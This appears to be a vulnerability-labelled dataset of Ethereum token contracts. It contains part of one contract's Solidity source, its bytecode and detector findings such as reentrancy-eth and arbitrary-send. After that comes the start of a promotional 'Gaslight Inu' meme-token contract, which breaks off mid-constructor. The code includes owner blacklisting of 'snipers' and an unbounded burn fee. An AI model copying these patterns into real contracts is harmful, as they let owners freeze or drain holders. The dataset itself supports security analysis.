private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 41; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xA6259eb0c626bb755C03f8C77eb592cB54Ef0Ac1); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1e9 * 10**9; uint256 public _maxWalletSize = 2e9 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 15); require(amountSell >= 0 && amountSell <= 15); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { require(amountRefBuy >= 0 && amountRefBuy <= 1); require(amountRefSell >= 0 && amountRefSell <= 1); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } }
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb146105a0578063c5528490146105c0578063dd62ed3e146105e0578063ea1644d514610626578063f2fde38b1461064657600080fd5b80638da5cb5b1461052b5780638f9a55c01461054957806395d89b411461055f5780639e78fb4f1461058b57600080fd5b8063790ca413116100dc578063790ca413146104ca5780637c519ffb146104e05780637d1db4a5146104f5578063881dce601461050b57600080fd5b80636fc3eaec1461046057806370a0823114610475578063715018a61461049557806374010ece146104aa57600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103e05780634bf2c7c9146104005780635d098b38146104205780636d8aa8f81461044057600080fd5b80632fd689e31461036e578063313ce5671461038457806333251a0b146103a057806338eea22d146103c057600080fd5b806318160ddd116101c157806318160ddd146102f057806323b872dd1461031657806327c8f8351461033657806328bb665a1461034c57600080fd5b806306fdde03146101fe578063095ea7b31461024f5780630f3a325f1461027f5780631694505e146102b857600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152601681527521bab63a1022b637b71027b933b0b734b9b0ba34b7b760511b60208201525b6040516102469190611f8c565b60405180910390f35b34801561025b57600080fd5b5061026f61026a366004611e37565b610666565b6040519015158152602001610246565b34801561028b57600080fd5b5061026f61029a366004611d83565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102c457600080fd5b506016546102d8906001600160a01b031681565b6040516001600160a01b039091168152602001610246565b3480156102fc57600080fd5b5068056bc75e2d631000005b604051908152602001610246565b34801561032257600080fd5b5061026f610331366004611df6565b61067d565b34801561034257600080fd5b506102d861dead81565b34801561035857600080fd5b5061036c610367366004611e63565b6106e6565b005b34801561037a57600080fd5b50610308601a5481565b34801561039057600080fd5b5060405160098152602001610246565b3480156103ac57600080fd5b5061036c6103bb366004611d83565b610785565b3480156103cc57600080fd5b5061036c6103db366004611f6a565b6107f4565b3480156103ec57600080fd5b506017546102d8906001600160a01b031681565b34801561040c57600080fd5b5061036c61041b366004611f51565b610845565b34801561042c57600080fd5b5061036c61043b366004611d83565b610874565b34801561044c57600080fd5b5061036c61045b366004611f2f565b6108ce565b34801561046c57600080fd5b5061036c610916565b34801561048157600080fd5b50610308610490366004611d83565b610940565b3480156104a157600080fd5b5061036c610962565b3480156104b657600080fd5b5061036c6104c5366004611f51565b6109d6565b3480156104d657600080fd5b50610308600a5481565b3480156104ec57600080fd5b5061036c610a05565b34801561050157600080fd5b5061030860185481565b34801561051757600080fd5b5061036c610526366004611f51565b610a5f565b34801561053757600080fd5b506000546001600160a01b03166102d8565b34801561055557600080fd5b5061030860195481565b34801561056b57600080fd5b5060408051808201909152600381526243454f60e81b6020820152610239565b34801561059757600080fd5b5061036c610adb565b3480156105ac57600080fd5b5061026f6105bb366004611e37565b610cc0565b3480156105cc57600080fd5b5061036c6105db366004611f6a565b610ccd565b3480156105ec57600080fd5b506103086105fb366004611dbd565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561063257600080fd5b5061036c610641366004611f51565b610d1e565b34801561065257600080fd5b5061036c610661366004611d83565b610d5c565b6000610673338484610e46565b5060015b92915050565b600061068a848484610f6a565b6106dc84336106d785604051806060016040528060288152602001612191602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611616565b610e46565b5060019392505050565b6000546001600160a01b031633146107195760405162461bcd60e51b815260040161071090611fe1565b60405180910390fd5b60005b81518110156107815760016009600084848151811061073d5761073d61214f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107798161211e565b91505061071c565b5050565b6000546001600160a01b031633146107af5760405162461bcd60e51b815260040161071090611fe1565b6001600160a01b03811660009081526009602052604090205460ff16156107f1576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b0316331461081e5760405162461bcd60e51b815260040161071090611fe1565b600182111561082c57600080fd5b600181111561083a57600080fd5b600b91909155600d55565b6000546001600160a01b0316331461086f5760405162461bcd60e51b815260040161071090611fe1565b601155565b6015546001600160a01b0316336001600160a01b03161461089457600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108f85760405162461bcd60e51b815260040161071090611fe1565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461093657600080fd5b476107f181611650565b6001600160a01b0381166000908152600260205260408120546106779061168a565b6000546001600160a01b0316331461098c5760405162461bcd60e51b815260040161071090611fe1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161071090611fe1565b601855565b6000546001600160a01b03163314610a2f5760405162461bcd60e51b815260040161071090611fe1565b601754600160a01b900460ff1615610a4657600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a7f57600080fd5b610a8830610940565b8111158015610a975750600081115b610ad25760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610710565b6107f18161170e565b6000546001600160a01b03163314610b055760405162461bcd60e51b815260040161071090611fe1565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b6557600080fd5b505afa158015610b79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9d9190611da0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be557600080fd5b505afa158015610bf9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1d9190611da0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c6557600080fd5b505af1158015610c79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9d9190611da0565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610673338484610f6a565b6000546001600160a01b03163314610cf75760405162461bcd60e51b815260040161071090611fe1565b600f821115610d0557600080fd5b600f811115610d1357600080fd5b600c91909155600e55565b6000546001600160a01b03163314610d485760405162461bcd60e51b815260040161071090611fe1565b601954811015610d5757600080fd5b601955565b6000546001600160a01b03163314610d865760405162461bcd60e51b815260040161071090611fe1565b6001600160a01b038116610deb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610710565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ea85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610710565b6001600160a01b038216610f095760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610710565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fce5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610710565b6001600160a01b0382166110305760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610710565b600081116110925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610710565b6001600160a01b03821660009081526009602052604090205460ff16156110cb5760405162461bcd60e51b815260040161071090612016565b6001600160a01b03831660009081526009602052604090205460ff16156111045760405162461bcd60e51b815260040161071090612016565b3360009081526009602052604090205460ff16156111345760405162461bcd60e51b815260040161071090612016565b6000546001600160a01b0384811691161480159061116057506000546001600160a01b03838116911614155b156114c057601754600160a01b900460ff166111be5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610710565b6017546001600160a01b0383811691161480156111e957506016546001600160a01b03848116911614155b1561129b576001600160a01b038216301480159061121057506001600160a01b0383163014155b801561122a57506015546001600160a01b03838116911614155b801561124457506015546001600160a01b03848116911614155b1561129b5760185481111561129b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610710565b6017546001600160a01b038381169116148015906112c757506015546001600160a01b03838116911614155b80156112dc57506001600160a01b0382163014155b80156112f357506001600160a01b03821661dead14155b156113ba5760185481111561134a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610710565b6019548161135784610940565b61136191906120ae565b106113ba5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610710565b60006113c530610940565b601a5490915081118080156113e45750601754600160a81b900460ff16155b80156113fe57506017546001600160a01b03868116911614155b80156114135750601754600160b01b900460ff165b801561143857506001600160a01b03851660009081526006602052604090205460ff16155b801561145d57506001600160a01b03841660009081526006602052604090205460ff16155b156114bd57601154600090156114985761148d60646114876011548661189790919063ffffffff16565b90611916565b905061149881611958565b6114aa6114a58285612107565b61170e565b4780156114ba576114ba47611650565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061150257506001600160a01b03831660009081526006602052604090205460ff165b8061153457506017546001600160a01b0385811691161480159061153457506017546001600160a01b03848116911614155b1561154157506000611604565b6017546001600160a01b03858116911614801561156c57506016546001600160a01b03848116911614155b156115c7576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156115c7576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156115f257506016546001600160a01b03858116911614155b1561160457600d54600f55600e546010555b61161084848484611965565b50505050565b6000818484111561163a5760405162461bcd60e51b81526004016107109190611f8c565b5060006116478486612107565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610781573d6000803e3d6000fd5b60006007548211156116f15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610710565b60006116fb611999565b90506117078382611916565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117565761175661214f565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117aa57600080fd5b505afa1580156117be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117e29190611da0565b816001815181106117f5576117f561214f565b6001600160a01b03928316602091820292909201015260165461181b9130911684610e46565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061185490859060009086903090429060040161203d565b600060405180830381600087803b15801561186e57600080fd5b505af1158015611882573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826118a657506000610677565b60006118b283856120e8565b9050826118bf85836120c6565b146117075760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610710565b600061170783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119bc565b6107f13061dead83610f6a565b80611972576119726119ea565b61197d848484611a2f565b8061161057611610601254600f55601354601055601454601155565b60008060006119a6611b26565b90925090506119b58282611916565b9250505090565b600081836119dd5760405162461bcd60e51b81526004016107109190611f8c565b50600061164784866120c6565b600f541580156119fa5750601054155b8015611a065750601154155b15611a0d57565b600f805460125560108054601355601180546014556000928390559082905555565b600080600080600080611a4187611b68565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a739087611bc5565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611aa29086611c07565b6001600160a01b038916600090815260026020526040902055611ac481611c66565b611ace8483611cb0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b1391815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d63100000611b428282611916565b821015611b5f5750506007549268056bc75e2d6310000092509050565b90939092509050565b6000806000806000806000806000611b858a600f54601054611cd4565b9250925092506000611b95611999565b90506000806000611ba88e878787611d23565b919e509c509a509598509396509194505050505091939550919395565b600061170783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611616565b600080611c1483856120ae565b9050838110156117075760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610710565b6000611c70611999565b90506000611c7e8383611897565b30600090815260026020526040902054909150611c9b9082611c07565b30600090815260026020526040902055505050565b600754611cbd9083611bc5565b600755600854611ccd9082611c07565b6008555050565b6000808080611ce860646114878989611897565b90506000611cfb60646114878a89611897565b90506000611d1382611d0d8b86611bc5565b90611bc5565b9992985090965090945050505050565b6000808080611d328886611897565b90506000611d408887611897565b90506000611d4e8888611897565b90506000611d6082611d0d8686611bc5565b939b939a50919850919650505050505050565b8035611d7e8161217b565b919050565b600060208284031215611d9557600080fd5b81356117078161217b565b600060208284031215611db257600080fd5b81516117078161217b565b60008060408385031215611dd057600080fd5b8235611ddb8161217b565b91506020830135611deb8161217b565b809150509250929050565b600080600060608486031215611e0b57600080fd5b8335611e168161217b565b92506020840135611e268161217b565b929592945050506040919091013590565b60008060408385031215611e4a57600080fd5b8235611e558161217b565b946020939093013593505050565b60006020808385031215611e7657600080fd5b823567ffffffffffffffff80821115611e8e57600080fd5b818501915085601f830112611ea257600080fd5b813581811115611eb457611eb4612165565b8060051b604051601f19603f83011681018181108582111715611ed957611ed9612165565b604052828152858101935084860182860187018a1015611ef857600080fd5b600095505b83861015611f2257611f0e81611d73565b855260019590950194938601938601611efd565b5098975050505050505050565b600060208284031215611f4157600080fd5b8135801515811461170757600080fd5b600060208284031215611f6357600080fd5b5035919050565b60008060408385031215611f7d57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611fb957858101830151858201604001528201611f9d565b81811115611fcb576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561208d5784516001600160a01b031683529383019391830191600101612068565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156120c1576120c1612139565b500190565b6000826120e357634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561210257612102612139565b500290565b60008282101561211957612119612139565b500390565b600060001982141561213257612132612139565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204fa2fa2a472d7504bada3035043ed016241a67f806a3b92f9d11b8faee58bbf964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,852
0x9c60009fa3ebce54ea8fda3c75f1fe547775bc40
/** *Submitted for verification at Etherscan.io on 2022-03-24 */ /** https://t.me/gaslightinueth https://t.me/gaslightinueth https://t.me/gaslightinueth Web Coming Soon. Elon Tweet: https://twitter.com/elonmusk/status/1507143572226772993 Lets Send It. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GaslightInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Gaslight Inu"; string private constant _symbol = "GASLIGHT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x0Ec7263B92ebf6DC6BCD9BF67Db58f5b773D9aae); address payable private _marketingAddress = payable(0x7713c7d0fF34EaEE5D644aEeFc95D7E1CCD00d3B); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 15000000000 * 10**9; uint256 public _maxWalletSize = 30000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; 